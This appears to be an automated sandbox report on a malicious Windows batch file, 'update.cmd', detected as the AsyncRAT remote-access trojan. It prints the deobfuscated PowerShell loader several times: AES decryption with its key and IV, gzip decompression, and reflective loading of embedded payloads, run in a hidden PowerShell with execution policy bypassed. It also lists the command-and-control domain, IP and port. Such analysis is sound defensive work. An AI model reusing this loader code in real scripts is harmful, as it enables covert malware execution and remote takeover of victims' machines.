Edit tour

Windows Analysis Report
update.cmd

Overview

General Information

Sample name:	update.cmd
Analysis ID:	1446780
MD5:	981e0374ab07b58ea53823122fe91be7
SHA1:	a162c8fac692cf34db330384f577f017fa003751
SHA256:	56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d
Tags:	cmd
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected Powershell decode and execute

Bypasses PowerShell execution policy

Obfuscated command line found

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses dynamic DNS services

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Gzip Archive Decode Via PowerShell

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2892 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\update.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5568 cmdline: cmd /c "set __=^&rem" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6252 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\user\Desktop\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 6136 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x484:$x1: AsyncRAT 0x4c2:$x1: AsyncRAT

Dropped Files

Source	Rule	Description	Author	Strings
\Device\ConDrv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_6136.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, CommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, CommandLine|base64offset|contains: z), Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\update.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2892, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, ProcessId: 6136, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, CommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, CommandLine|base64offset|contains: z), Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\update.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2892, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, ProcessId: 6136, ProcessName: powershell.exe

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\user\Desktop\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execu

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, CommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, CommandLine|base64offset|contains: z), Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\update.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2892, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass, ProcessId: 6136, ProcessName: powershell.exe

Snort Signatures

ET TROJAN Generic AsyncRAT Style SSL Cert - Source IP: 12.202.180.134 - Destination IP: 192.168.2.5

Timestamp:	05/23/24-21:05:50.814832
SID:	2035595
Source Port:	8797
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server) - Source IP: 12.202.180.134 - Destination IP: 192.168.2.5

Timestamp:	05/23/24-21:05:50.814832
SID:	2030673
Source Port:	8797
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2035595 ET TROJAN Generic AsyncRAT Style SSL Cert 12.202.180.134:8797 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2030673 ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server) 12.202.180.134:8797 -> 192.168.2.5:49704

Uses dynamic DNS services

Source: unknown

DNS query: name: dhhj.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 12.202.180.134:8797

Source: Joe Sandbox View

IP Address: 12.202.180.134 12.202.180.134

Source: Joe Sandbox View

ASN Name: FISERV-INCUS FISERV-INCUS

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: dhhj.duckdns.org

Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr

String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP

Matched rule: Detects AsyncRAT Author: ditekSHen

Source: dump.pcap, type: PCAP

Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: classification engine

Classification label: mal84.troj.evad.winCMD@8/6@1/1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2952:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ced35djj.vkw.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\update.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "set __=^&rem"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\user\Desktop\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "set __=^&rem"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\user\Desktop\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "set __=^&rem"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "set __=^&rem"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
